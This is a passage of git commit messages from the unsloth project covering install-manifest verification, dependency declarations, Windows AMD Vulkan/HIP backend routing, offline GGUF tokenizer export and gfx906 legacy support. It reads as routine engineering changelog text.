probes, so Repair reported success without fixing anything.
install_python_stack.py now clears a completion manifest before the dependency
pass and writes it only after the final step. `unsloth studio verify-install`
and desktop-capabilities' new studio_install_ok field read it, the preflight
turns a false answer into ManagedStale so auto-repair runs, and setup.sh /
setup.ps1 gain an escape hatch next to the existing anyio one.
Separately, the wheel ships studio/ and studio.backend* but declared none of
their dependencies, so `unsloth train`, `export`, `chat`, `inference` and
`studio` all ended in a rich traceback after a plain pip install. structlog is
the only hard module-level import that chain reaches once starlette's
annotation-only import moves under TYPE_CHECKING, so it becomes a core
dependency and the rest of the server stack becomes a [studio] extra mirroring
studio.txt. The CLI import sites now report missing dependencies as a sentence
with two remedies.
Fixes#4701, #5260, #7147
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Match the trimmed comments merged on the pip branch
* Put the install manifest in the preflight fingerprint for PR #7492
The capability cache keyed the venv on pyvenv.cfg, uv.lock, requirements.txt,
the interpreter and site-packages/unsloth_cli/commands/studio.py, none of which
a repair touches when it only reinstalls studio.txt. So an entry cached while
the install was healthy stayed valid after the manifest was dropped, and the
probe returned Ready on exactly the half-built venv this is meant to catch.
* Address the review findings on PR #7492
Fail the install when the completion manifest cannot be written, instead of
exiting 0 without the record every later check requires, which is a repair
loop by construction.
Compare the version of the package the manifest names, so `studio update
--package X` does not read as a permanent version change.
Read the manifest from the venv that owns it when the CLI runs outside the
managed venv, and drop the dependency verdict in that case: the walk ran
against the wrong interpreter and says nothing about that venv.
Name the import that actually failed. `unsloth train` reaches torch through
the same guard, and the studio extra does not carry it, so recommending that
extra alone left the command failing in the same place.
* Declare click, which typer stopped providing, for PR #7492
unsloth_cli/commands/start.py imports click at module scope and
unsloth_cli/__init__.py imports that module, so every unsloth command needs
it. typer carried click through 0.19 and dropped it in 0.27, and the declared
floor is typer>=0.12.0, so a fresh resolve gets no click. On the published
wheel it still arrives because huggingface_hub requires click<9,>=8.4.2, which
is luck rather than a declaration. A wheel built from this branch's
dependency list has neither, and every command dies at import.
Verified: before, `unsloth --help` on a fresh venv raised ModuleNotFoundError
for click; after, it exits 0. The drift test now covers it.
* Keep a running backend from the previous app version manageable
The manageability bump gated two unrelated things through one constant. For
the managed CLI probe 2 is right: a CLI reporting 1 cannot answer
studio_install_ok. For a RUNNING backend it is wrong, because a process
already started cannot change what it reports, so bumping studio/backend/main.py
in lockstep does not help one the previous app version spawned.
That backend is proven ours by root id and ownership token, but
lifecycle_control_block_reason returned Unmanageable, and that branch never
calls adopt_verified_backend. has_owned_backend() stays false, so Repair falls
into block_external_conflict, which finds the same process and refuses: the app
could no longer stop a backend it owns the token for. The same regression in
backend.rs turned a terminal-launched same-root server from AttachedReady into
ExternalConflict.
Split the constant: DESKTOP_BACKEND_MANAGEABILITY_VERSION = 1 for the two
live-backend probes, DESKTOP_MANAGEABILITY_VERSION = 2 for the CLI probe. Every
real gate (protocol, auth, ownership, desktop-login, MIN_DESKTOP_BACKEND_VERSION)
is untouched, so an old backend still reaches OwnedStale, adopt, stop, repair.
Also stop the installer when the stale manifest cannot be removed. Windows
raises on a read-only or locked file, and the pass would then run behind a
marker that still names this version and these digests, so a run killed
part-way would verify as complete.
* Answer for the managed venv, not the one the CLI happens to run in
The guard matched ModuleNotFoundError.name, an import name, against
missing_requirements(), which returns distribution names. So a missing PyJWT
printed 'pip install jwt', and jwt, docx and fitz are each a real but unrelated
PyPI project (fitz is a neuroimaging workflow tool), so following the advice
installed the wrong package and left the backend just as broken. Map the import
to its distribution before deciding, and never offer the import itself.
install_state() verified the caller's own prefix. The wheel ships studio/, so a
CLI installed outside the managed venv always finds its own copy of the helper
first, and a healthy managed install reported studio_install_incomplete with a
missing list copied from the wrong venv. Selecting the root is not enough:
_installed_version() reads the running interpreter and req_root defaults to the
caller's studio.txt, so both checks still answered for the wrong venv. Hand
verify_install() that venv's own metadata, enumerated through
Distribution.discover(context = ...path), which does not fall back to sys.path.
The candidate order is untouched, so shadowed-tree detection is unchanged.
setup.ps1 replaces pip, torch and triton before install_python_stack.py runs,
so the manifest it drops is not dropped before the first mutation. A run killed
in between kept a marker that still verifies while torch was half-replaced;
drop it at the top of the dependency pass instead. setup.sh is unaffected, the
stack is the first thing its pass runs, and a test now pins both.
pip uninstall rewrites nothing that was fingerprinted, and cache_matches
re-reads the cached studio_install_ok rather than re-checking, so a venv that
lost a studio.txt package kept being served the healthy verdict. Fold a sorted
hash of the installed dist-info names into the marker hash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* A missing manifest helper is a torn install, not an old one
studio/install_manifest.py ships in the same wheel as _studio_deps.py, so
nothing legitimately has one without the other: a CLI predating both never
reaches this code, and the desktop already calls such a CLI stale on
desktop_manageability_version.
Returning ok=true there reported a healthy install for a tree the package
update had half replaced, and the preflight then launched a backend whose
own run.py could be just as absent. Report it incomplete so repair runs.
* Tighten comments across the install-detection changes
* Validate Studio dependency readiness
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* split parallel tool calls for single-call-only chat templates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
The STT model list used text-[9px] and text-[10px], which ignore the UI
font-size preference and fail the test_no_raw_pixel_text_utilities contract.
Swap them for the scale-aware text-ui-9 / text-ui-10 tokens.
test_inline_font_size_styles_reference_the_scale compares source-relative paths
against FONTSIZE_PROP_ALLOWED_DIRS and FONTSIZE_STYLE_ALLOWLIST, both written
with forward slashes. It built those paths with str(path.relative_to(SRC)),
which is backslash-separated on Windows, so startswith() never matched and the
allowlists silently did nothing.
The suite is green on Linux CI and fails locally on Windows with 22 phantom
offenders, all of them the chart cards the allowlist already covers.
Route the paths through a _rel() helper that returns .as_posix(), and use it for
the other two offender messages too so failures read the same on every OS.
The ROCR-vs-HIP masking comments cite "a gfx1103 iGPU under a gfx110X
prebuilt" as an example of a GPU the build has no kernels for, but the
shipping gfx110X prebuilt does build gfx1103: unsloth-prebuilt-rocm.yml
passes -DGPU_TARGETS=gfx1100;gfx1101;gfx1102;gfx1103 on both Linux and
Windows, and the b10079 manifest maps all four. install.sh also routes
gfx1103 to gfx110X-all and is_rdna() includes it.
Swap in gfx1036 under gfx103X, which is genuinely unbuilt: that bundle
maps only gfx1030/1031/1032/1034.
Comment-only, no behavior change.
* feat(install): opt-in Vulkan llama.cpp backend and HIP gfx fallback (#7357)
Add UNSLOTH_LLAMA_BACKEND=vulkan and --llama-backend vulkan to force the
upstream Vulkan prebuilt on any host, persist llama_backend in the install
marker, and re-assert it during Studio updates.
On Windows AMD, auto-fallback to Vulkan when no detected gfx arch is in the
upstream win-hip-radeon GPU_TARGETS set (e.g. gfx803 / RX 480). Mixed setups
where at least one card is HIP-supported still default to HIP unless opted in.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(install): address Codex P2s on Vulkan gfx routing (#7357)
Honor ROCm family tokens (gfx110X), include fork-supported gfx1103, require
a known active gfx before auto-Vulkan, and base the HIP floor check on the
visible-device target instead of every physical GPU in hipinfo.
* Address Codex review: env namespace, physical-NVIDIA guard, test kwarg
- llama_backend_from_env: stop reading UNSLOTH_LLAMA_CPP_BACKEND. That is a
separate pre-existing setup variable meaning auto/cpu; setup.sh/setup.ps1
warn and ignore other values, so reading it here forced Vulkan behind that
warning. Vulkan opt-in stays on UNSLOTH_LLAMA_BACKEND / UNSLOTH_FORCE_VULKAN.
- _should_auto_vulkan_for_amd_windows: gate on not has_physical_nvidia (not
merely has_usable_nvidia). A CUDA-masked NVIDIA card keeps has_physical_nvidia
while has_usable_nvidia goes False; Vulkan ignores CUDA_VISIBLE_DEVICES and
could enumerate the reserved card. Mirrors the Intel auto path. Explicit
opt-in still overrides.
- test fakes: validate_prebuilt_attempts/validate_prebuilt_choice gained a
llama_backend kwarg; the four fake signatures in the fallback tests now
accept it, clearing the TypeError that reddened Backend CI / Repo tests (CPU).
Tests: UNSLOTH_LLAMA_CPP_BACKEND=vulkan no longer triggers Vulkan; hidden
physical NVIDIA suppresses AMD auto-Vulkan while explicit opt-in overrides.
* Keep gfx1034 on the ROCm path (fork gfx103X bundle covers it)
The WINDOWS_HIP_PREBUILT_GFX_TARGETS allow-list omitted gfx1034, so
_route_to_vulkan_prebuilt downgraded RX 6500/6400-class hosts to the upstream
Vulkan prebuilt before published_rocm_choice_for_host could match the fork
windows-rocm gfx103X bundle (whose members include gfx1034). Add gfx1034 to the
allow-list and a regression test asserting it stays on the fork ROCm asset.
* Fix auto-Vulkan stealing fork windows-rocm gfx908/gfx90a hosts for PR #7373
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Vulkan marker claiming a backend that was never installed for PR #7373
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the Vulkan backend routing comments for PR #7373
* Keep the visible-device-aware gfx when setup forwards --rocm-gfx
setup.ps1 resolves the gfx arch from its own probe, and that pick is not
fully visible-device aware: neither the hipinfo nor the amd-smi branch
reads CUDA_VISIBLE_DEVICES, and the amd-smi branch matches a bare integer
only, so a comma-separated HIP/ROCR mask such as 1,0 also falls back to
GPU 0. The resulting arch was then forwarded through --rocm-gfx and
replaced the arch detect_host() had already resolved for the
runtime-visible GPU.
On a mixed-AMD Windows host that flipped the auto-Vulkan decision: with
GPU 0 gfx1100 and a masked-in gfx1010, the forward reinstated gfx1100,
_should_auto_vulkan_for_amd_windows() saw a HIP-supported arch and the
HIP bundle was installed for a GPU that cannot run it.
Fold the forward in as a fill rather than a replacement: it still supplies
the arch on amd-smi-only, driver-only and name-inferred hosts where the
probe reports none, which is what --rocm-gfx exists for, but no longer
overwrites a successfully detected active arch. An explicit
UNSLOTH_ROCM_GFX_ARCH stays authoritative, since it is the documented
manual override for hosts whose arch the probes get wrong.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope the Windows AMD Vulkan fallback per device and per repo
Three follow-ups on the auto-Vulkan routing for #7357.
Keep an explicit --rocm-gfx authoritative. The previous round stopped a
forwarded gfx from replacing an arch detect_host() had already resolved,
but --rocm-gfx is also the documented operator override for hosts whose
probe is wrong or stale, and both arrive as the same argv. Narrow the
advisory case to the two shapes setup can actually be describing: an arch
the probe saw on this host (setup picked a different physical GPU of the
same box), or a family label such as gfx110X, which is a bundle name the
update path derives from the marker asset rather than a real GPU arch.
Any other value is an override for an arch no probe reported and stays
authoritative. Keeping family labels advisory also preserves the rule that
an in-generation-but-unbuilt arch (gfx1033) is never upgraded into the
gfx103X bundle.
Do not auto-route to Vulkan from a HIP-only device mask. HIP_VISIBLE_DEVICES,
ROCR_VISIBLE_DEVICES and CUDA_VISIBLE_DEVICES select the active arch, but the
Vulkan runtime honours none of them: it enumerates through
GGML_VK_VISIBLE_DEVICES and Vulkan ordinals in
LlamaCppBackend._get_gpu_free_memory_vulkan. Masking down to a below-floor
card therefore used to install a backend that could still enumerate the
HIP-capable card the user deliberately hid, possibly one reserved for another
workload. Require every physical AMD gfx to be below the floor, matching the
has_physical_nvidia gate right above it. So the per-GPU list survives to that
check, a forward that agrees with the probe no longer collapses
rocm_gfx_targets to a single entry.
Make the HIP support predicate repository-specific. The floor constant is a
union of ggml-org's windows-hip gpu_targets and the fork's windows-rocm
bundles, so it only answers "is this arch served" for the fork. With
--published-repo ggml-org/llama.cpp, direct_upstream_release_plan() offers
win-hip-radeon then CPU and never Vulkan, so the four fork-only archs
(gfx908, gfx90a, gfx1034, gfx1103) were declared supported and fell through
to CPU instead of the Vulkan bundle that would actually run. Add
UPSTREAM_WINDOWS_HIP_GFX_TARGETS and select the set from the planned repo.
* Keep probe-confirmed AMD GPUs in the physical list when a gfx is forwarded
rocm_gfx_targets is the physical inventory _should_auto_vulkan_for_amd_windows()
reads, so a forwarded --rocm-gfx that the probe never reported was deleting cards
the probe had confirmed. On a mixed Windows AMD box whose active device is masked
down to a below-floor card, a stale UNSLOTH_ROCM_GFX_ARCH or a name-inferred arch
for the other GPU collapsed the list to that one arch, the floor check concluded no
AMD GPU on the host reaches the Windows HIP prebuilt, and the install auto-fell back
to Vulkan, which honours no HIP mask and would enumerate the reserved HIP-capable
card. Add the forwarded arch to the list instead of replacing it: it selects the HIP
target, it does not redefine what hardware is present.
An empty probe still yields a single-entry list, so the driver-only Windows AMD host
the forward exists for keeps its automatic Vulkan fallback, and an explicit
--llama-backend vulkan is unaffected.
* Do not auto-fall back to Vulkan when a HIP device mask filtered the probe
hipinfo is itself a HIP application, and AMD documents HIP_VISIBLE_DEVICES as
"only devices whose index is present in the sequence are visible to HIP", with
that spelling recommended on Windows. Under a mask the Windows probe therefore
enumerates the visible devices, so rocm_gfx_targets is what survived the mask
rather than the physical inventory the auto-Vulkan floor check assumes. A
masked-out gfx1100 next to a visible gfx803 made the check conclude that no AMD
GPU on the box reaches the Windows HIP prebuilt and route the install to Vulkan,
which honours none of these masks and would enumerate the reserved card.
Decline to guess when a mask is set: the physical inventory is unknowable from a
masked probe, so keep the HIP / fork / source path. This only ever turns the
automatic fallback off, never on. The driver-only single-GPU host the fallback
exists for sets no mask, an all-hiding "" / -1 mask is still handled as no active
target rather than a partial view, and an explicit --llama-backend vulkan or
UNSLOTH_LLAMA_BACKEND=vulkan is unaffected.
Reading the physical inventory through an unmasked re-probe would also correct
_pick_rocm_gfx_target, which indexes the token list by the mask value and so
already assumes an unmasked probe. That is pre-existing behaviour on main and is
left alone here.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Treat an all-hiding HIP device mask as suppressing the Vulkan fallback too
The mask guard exempted an empty or -1 value on the grounds that the probe reports
no active target under it, but that only holds for the probe: a forwarded
--rocm-gfx still reconstructs an active arch, and setup infers that arch from the
display-adapter name, which no HIP mask touches. A user who hid every AMD GPU from
HIP could therefore still be auto-routed to Vulkan, which honours none of these
masks and would then use all of them. That is the strongest form of the hazard the
guard exists for, not an exemption from it.
Presence of any of the three variables is now the whole test, which also removes
the value parsing. An explicit --llama-backend vulkan or UNSLOTH_LLAMA_BACKEND is
still unaffected.
* Grant the fork-only Windows HIP coverage to the fork, not to every mirror
The floor set is a union of the fork's windows-rocm bundles and only the fork is
planned from its manifest: resolve_simple_install_release_plans() compares
== DEFAULT_PUBLISHED_REPO and sends every other --published-repo through
direct_upstream_release_plan(), whose AMD branch offers win-hip-radeon then CPU
and never Vulkan. Exempting only the exact ggml-org spelling therefore told a
mirror carrying upstream-standard assets that fork-only archs such as gfx1034,
gfx1103 and gfx908 were HIP-served, landing them on HIP or CPU instead of the
Vulkan bundle that would actually run. Gate on the fork instead.
Matching the dispatch exactly, spelling included, also fixes a differently cased
repo: that really does take the upstream path, so it must be answered with
upstream coverage rather than the fork superset. An empty repo still defaults to
the fork, as the resolver does.
* Derive the Windows HIP gfx floor guard from the published manifest
The guard compared WINDOWS_HIP_PREBUILT_GFX_TARGETS against a second hardcoded
tuple in the same test file, so a windows-rocm arch newly published by the fork
passed both. Affected hosts would then be routed off the hash-approved fork ROCm
bundle onto an unhashed upstream Vulkan build with nothing failing.
Read the fork's llama-prebuilt-manifest.json through the installer's own
resolver instead, and assert the floor, the family labels, and the routing
tuple all still cover what it publishes. The manifest ships only as a release
asset, so an unreachable release skips with an explicit reason rather than
flaking. Both literals match the manifest as published today.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Compress the Vulkan backend routing comments and docstrings for PR #7373
* Correct the family-label rationale in the Windows HIP coverage check
The comment justified serving gfx103X / gfx110X against any repository by
claiming upstream's windows-hip targets build every member of those families.
The fork manifest maps gfx103X to gfx1030..1032 plus gfx1034 and gfx110X to
gfx1100..1102 plus gfx1103, and UPSTREAM_WINDOWS_HIP_GFX_TARGETS carries
neither gfx1034 nor gfx1103, so the stated reason is wrong even though the
answer is right.
State the real reason instead. A family label is a bundle name, not an arch,
so the concrete GPU is unknown at this point; answering unsupported to cover
the two uncovered members would move gfx1030..1032 and gfx1100..1102 off a
working HIP build onto Vulkan for a card the label cannot identify. Those two
archs still reach Vulkan through the concrete-arch branch below, which does
answer per repository.
Comment only. No behaviour change: the 5850-combination override sweep still
reports 0 rocm_gfx_target changes, 0 auto_vulkan False to True flips and 680
True to False flips all backed by a probe-confirmed HIP GPU, and both the
feature and override profile matrices are byte-identical.
* Pin that a deliberate CPU install outranks Vulkan for PR #7373
UNSLOTH_LLAMA_CPP_BACKEND (setup.sh / setup.ps1, "auto" or "cpu") and
UNSLOTH_LLAMA_BACKEND (this module, a backend name) are separate variables at
separate layers, and both accept "cpu". setup translates its own =cpu into
--force-cpu, which is what pins the CPU-only bundle on a GPU host and keeps
Intel iGPU Vulkan crashes away (#7213), so no trigger this PR adds may
outrank it.
_route_to_vulkan_prebuilt already gets this right, since force_cpu
short-circuits ahead of the forced, auto-Intel and auto-no-HIP triggers.
Cover it so it stays that way: the matrix runs [Linux, Windows, macOS] x
[NVIDIA, AMD, Intel, CPU only] x [unset, vulkan, hip, rocm, cpu] with the
legacy UNSLOTH_FORCE_VULKAN set as well, and asserts the published bundle
survives every one. WSL presents as Linux to this resolver, so it rides the
Linux row.
Also assert the guard is not vacuous: the same host still takes Vulkan once
the CPU pin is gone, so the matrix cannot pass on a resolver that had simply
stopped routing to Vulkan.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
test_torch_constraint.sh asserted how many times each pin appears in install.sh.
Every hardware branch assigns its own torch/torchvision/torchaudio triple, so
#7354 adding gfx906 pushed three of those counts up by one and Backend CI has
been red on main since:
FAIL: default TORCH_CONSTRAINT assignment exists (expected '1', got '2')
FAIL: hardcoded torch>=2.4 appears exactly once (expected '1', got '2')
FAIL: torchvision bounded (<0.26) at default + custom-leaf (expected '2', got '3')
FAIL: torchaudio bounded (<2.11) at default + custom-leaf (expected '2', got '3')
install.sh is correct; the numbers were the stale part. Assert the invariants
instead, so the next hardware branch is not a test edit:
- the default assignment is the top-level one, so anchor the grep at column 0
rather than counting every occurrence. An indented branch pin no longer
satisfies it, which the old count did not distinguish either.
- what "appears exactly once" really guarded is that no pip install line spells
a pin out instead of using "$TORCH_CONSTRAINT", so check that directly.
- companions must be bounded everywhere, so compare bounded assignments against
total assignments rather than pinning a count of 2. That is strictly stronger:
it now covers all 7, not the 2 the old numbers happened to name.
45 pass, 0 fail. Each new assertion fails when its property is broken: a bare or
unbounded companion, a hardcoded pin on an install line, or a missing top-level
default.
The `/~/` rule was root-anchored, so it only caught a stray "~" directory
created at the repo root. Tools run from a subdirectory create it there
instead, and studio/frontend/~/ once reached a PR as 708 tracked files (a
Node compile cache plus cwd markers). Unanchor it.
Also ignore /temp/, the repo-root scratch dir
tests/studio/test_chat_preset_builtin_invariants.py writes into. Nothing
under either path has ever been tracked on main.
* fix: keep offline GGUF export off the Hub for VLM tokenizers (#7481)
Resolve cached snapshot directories before loading PreTrainedTokenizerFast
during VLM processor fallback so transformers does not call is_base_mistral()
-> model_info() when HF_HUB_OFFLINE is set. Also probe the local cache in
_has_tokenizer_model instead of model_info when offline.
Fixesunslothai/unsloth#7481
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test: add real-cache offline GGUF integration checks for #7481
Download unsloth/gemma-3-270m-it-bnb-4bit (~430MB) and verify offline
snapshot resolution and tokenizer load with network blocked. Full unsloth
import tests remain GPU-gated.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: address Codex review on offline GGUF tokenizer paths (#7481)
- Only rewrite Hub repo ids to cached snapshot dirs when offline
- Copy tokenizer.model from cache offline in preserve_sentencepiece
- Do not cache negative offline tokenizer.model probe results
- Add regression tests for all three review items
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: probe HF cache before model_info for local-only GGUF saves (#7481)
Always resolve tokenizer.model from the local Hub cache before calling
model_info, and skip Hub metadata when the tokenizer was loaded with
local_files_only or offline env vars. Fixes Codex review on PR #7482.
* Fix lint blocker, false-green tests and offline defaults for PR #7482
Drop the two unused _env_says_offline imports that fail the Source lint
import-hoist check.
test_has_tokenizer_model_offline_skips_model_info and its local_files_only
twin set model_info.side_effect = AssertionError, but _has_tokenizer_model
wraps that call in "except Exception: return False", so the AssertionError
was swallowed and both passed on the merge base with the fix absent. Assert
model_info.call_count == 0 instead; both now fail on the base with
assert 1 == 0.
The real-cache integration tests called hf_hub_download and
PreTrainedTokenizerFast directly, so they exercised plain huggingface_hub and
passed identically on both trees. Route them through the resolver this PR
adds, and gate the file at module level since importing unsloth needs a GPU
host either way.
_resolve_hub_repo_local_dir and _resolve_hub_repo_cached_file defaulted to
local_files_only = False, so a helper named "resolve local dir" would
download with backoff retries when called without the flag. Every caller
already passes it explicitly, so default it closed.
Use tempfile.gettempdir() rather than a hardcoded /tmp, which silently
skipped both files on Windows, the platform in the bug report. Patch
socket.socket connect rather than replacing the class, which broke
isinstance checks.
Wire the unit tests into the Bucket-A CI list; Repo tests (CPU) ignores
tests/saving, so none of these ran anywhere.
* docs: note transformers 4.57.2-5.5.4 window for local tokenizer resolve
Name the version range where from_pretrained still probes model_info under
local_files_only, and point at the 5.6.0 upstream fix so the helper can be
removed once the supported floor moves past it.
* fix: enable real-cache suite in offline GGUF integration runner
Pass UNSLOTH_INTEGRATION_IMPORT=1 into the pytest subprocess so the
documented runner actually executes the real-cache tests instead of
reporting success after only the fake-cache unit file runs.
* docs: note integration runner enables UNSLOTH_INTEGRATION_IMPORT
Document that the runner sets the gate itself and still needs a host
that can import unsloth.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep an explicit local_files_only load local-only at save time
transformers takes local_files_only as an explicit from_pretrained parameter,
so it never lands in tokenizer.init_kwargs, and _offline_aware_load restores
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE as soon as the load window closes. A VLM
loaded with local_files_only = True but no offline env var therefore came back
with the Hub repo id in name_or_path and nothing recording the request, so
_tokenizer_wants_local_only returned False on the later save and
_has_tokenizer_model fell through to HfApi.model_info - and then
_preserve_sentencepiece_tokenizer_assets fetched tokenizer.model from the Hub
with local_files_only = False. On a disconnected host that is a network wait
before the export gives up.
Stamp the load's local-only mode onto the returned processor and its tokenizer
inside the forced-offline window, and honour that stamp in
_tokenizer_wants_local_only, so the save path inherits the load's contract.
Verified against a real hub-cache layout whose snapshot has tokenizer metadata
but no tokenizer.model: before, one model_info call plus an hf_hub_download with
local_files_only = False; after, zero model_info calls and cache probes only.
Two tests added to tests/saving/test_offline_gguf_vlm_tokenizer_7481.py; both
fail with the loader_utils hunk reverted and pass with it in place.
* Carry the load's cache_dir through to saving for PR #7482
The local-only stamp added in e7b7400de preserved only the boolean. Saving
still derived its cache from HF_HUB_CACHE or HF_HOME, which does not see a
caller-supplied cache_dir, and FastBaseModel.from_pretrained threads one all
the way down. So a local_files_only load against a custom cache missed on the
probe, and the stamp then stopped the Hub fallback that used to cover it, and
tokenizer.model was silently left out of the GGUF staging directory.
Stamp the cache_dir alongside the local-only marker and prefer it at both
sites in save.py that derive one from the environment. Reverting save.py
alone, with the helper still present, fails the new test on behaviour.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Merge main and drop an unused import for PR #7482
Brings the branch up to date with main, which clears the stale Source lint
blocker inherited from #7476 by taking studio/backend/utils/hardware/__init__.py
out of this PR's changed-file set.
pytest was imported in the new test file and never used, which the
import-hoist check flags in its own right.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Comment-only follow-up to #7454. That change carried 523 comment lines, many of
them three and four line preambles where one line says the same thing. This
collapses them and drops the ones restating what the code already says, for a
net 77 lines.
Scope is limited to comments #7454 itself introduced. The files it touched hold
about 3,761 comments in total; the rest predate it and are untouched, verified
by checking that every removed line is one that commit added.
Nothing that records why a non-obvious decision was made was dropped, only
compressed. Still stated: the normcase-before-versus-after Windows separator
trap, the innermost-indexed-model rule for nested directories, an HTTPException
being a decision rather than a failure to decide, that only an explicit False is
anonymous to huggingface_hub while None borrows the server owner's login, the
fail-closed tri-state custom-code gate, and the regressions each test was
written for.
Code is provably unchanged: comment_tools.py check reports 17/17 files
comments-only. Backend CI command 10337 passed, 0 failed. tsc -b clean.
* Add CLI GPU memory mode selection
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve manual GPU layer overrides
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Add community-maintained legacy support path for gfx906 (MI50 / Radeon VII)
rocm6.4+/7.x torch wheels bundle ROCm libraries whose Tensile kernels
dropped gfx906 (rocBLAS 'TensileLibrary.dat ... not read for gfx906',
ROCm/TheRock#1844), so on MI50/Vega 20 hosts with newer ROCm the
installer picked wheels that fail at the first BLAS call. The rocm6.3
index is the last one whose wheels run on gfx906 (torch 2.7.0 verified
on MI50 32GB, up to 2.9 in community use). Dynamo/Inductor codegen is
also broken on this arch, crashing compiled graphs that train fine in
eager mode.
- install.sh: when the runtime GPU is gfx906 and the picked index is
newer than rocm6.3, reroute torch to the rocm6.3 index and reset the
constraint trio to the default <2.11 window (a rocm7.2 pick raises
the floor to 2.11, which rocm6.3 cannot satisfy), with a legacy-path
warning.
- install_python_stack.py: mirror the reroute in _ensure_rocm_torch
using the _default pkg specs, including repairing an existing
+rocm7.x torch and leaving a working rocm6.3 install alone.
- device_type.py: default TORCHDYNAMO_DISABLE / TORCH_COMPILE_DISABLE /
UNSLOTH_COMPILE_DISABLE on gfx906 (setdefault, user override wins).
Windows allowlists are untouched: repo.amd.com publishes no gfx906
wheel family (verified in the RDNA2 enablement PR). 16-bit LoRA and
full finetuning work out of the box; 4-bit QLoRA needs a source-built
bitsandbytes for gfx906. Based on the verified MI50 32GB setup in
namnguyen0503/mi50-gfx906-unsloth-bnb4bit-lab.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: second Codex pass (bnb skip under pin, override beats Strix)
- Compute the gfx906 runtime-target flag independently of any torch-index
pin or Strix override, so the bitsandbytes skip still applies when a user
pins the ROCm index and sets UNSLOTH_ROCM_GFX_ARCH=gfx906 (the pin
suppresses the torch reroute, not the bnb skip). Probe only when no pin
is set (an explicit pin means don't second-guess it, matching the Strix
path's asserted no-probe invariant); an explicit gfx906 override needs
no probe.
- Let UNSLOTH_ROCM_GFX_ARCH=gfx906 suppress the Strix reroute (both
install.sh and install_python_stack.py) so a mixed Strix + MI50 host
routes to rocm6.3 instead of the gfx1151 wheels probe order would pick.
- Fix test_hardcoded_torch_constraint: the default <2.11 window literal now
legitimately appears on two TORCH_CONSTRAINT= assignments (default + the
gfx906 reroute reset after the rocm7.2 floor bump); assert it only ever
appears on assignment lines, never on a pip install line (its real intent).
New tests: bnb skipped under an explicit pin, gfx906 override wins over
Strix, install.sh suppresses Strix on the override. rocm_support +
selection + cross-platform parity: 667 passed; structural constraint 9/9.
* gfx906: collapse single-line asserts to match pre-commit formatting
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: keep bnb skip + rocm6.3 routing correct under pins and suffixed overrides
Address the four Codex P2 findings on #7354:
- bnb skip under a pinned index (install.sh + install_python_stack.py):
a real gfx906 host that pins UNSLOTH_TORCH_INDEX_URL to rocm6.3 without also
setting UNSLOTH_ROCM_GFX_ARCH no longer reinstalls the generic bitsandbytes
wheel over a source-built gfx906 bnb. A pin now suppresses only the torch
reroute, not the gfx906 detection used for the bnb skip (Python drops the pin
gate on _runtime_is_gfx906; bash _is_gfx906_bnb_skip probes via
_probe_amd_gfx_arch when the index is pinned).
- clear the Radeon marketing-name flag for every gfx906 target, not only when
the >=6.4 reroute fires, so a Radeon VII already on rocm6.3 does not divert to
the repo.radeon.com branch (whose wheels lack gfx906 kernels).
- normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) before
the exact comparisons in install.sh and install_python_stack.py, mirroring
device_type.py.
Tests: relax the three Strix-pin tests (the gfx probe may now run for the bnb
flag but must not reroute the pinned index) and add coverage for the pinned
bnb skip, the suffixed override, and the bash Radeon-clear / pinned-probe paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: log skipped vLLM aimv2 fix + robust source-scan test bounds
Follow-up review polish:
- import_fixes: log at info level when the vLLM aimv2 fix is skipped because
the dist metadata is unreadable, so the skip is diagnosable instead of silent.
- test_rocm_support: bound the gfx906 install.sh source-scan on the ';;' that
closes its case arm via a shared _gfx906_reroute_block helper, replacing the
brittle fixed-length (3200/3800) slices that shift when the block grows.
* gfx906: trim whitespace on UNSLOTH_ROCM_GFX_ARCH in install.sh (py parity)
The bash gfx906 comparisons lowercased and stripped the gfx906:… feature
suffix but not surrounding whitespace, while the Python paths do .strip().
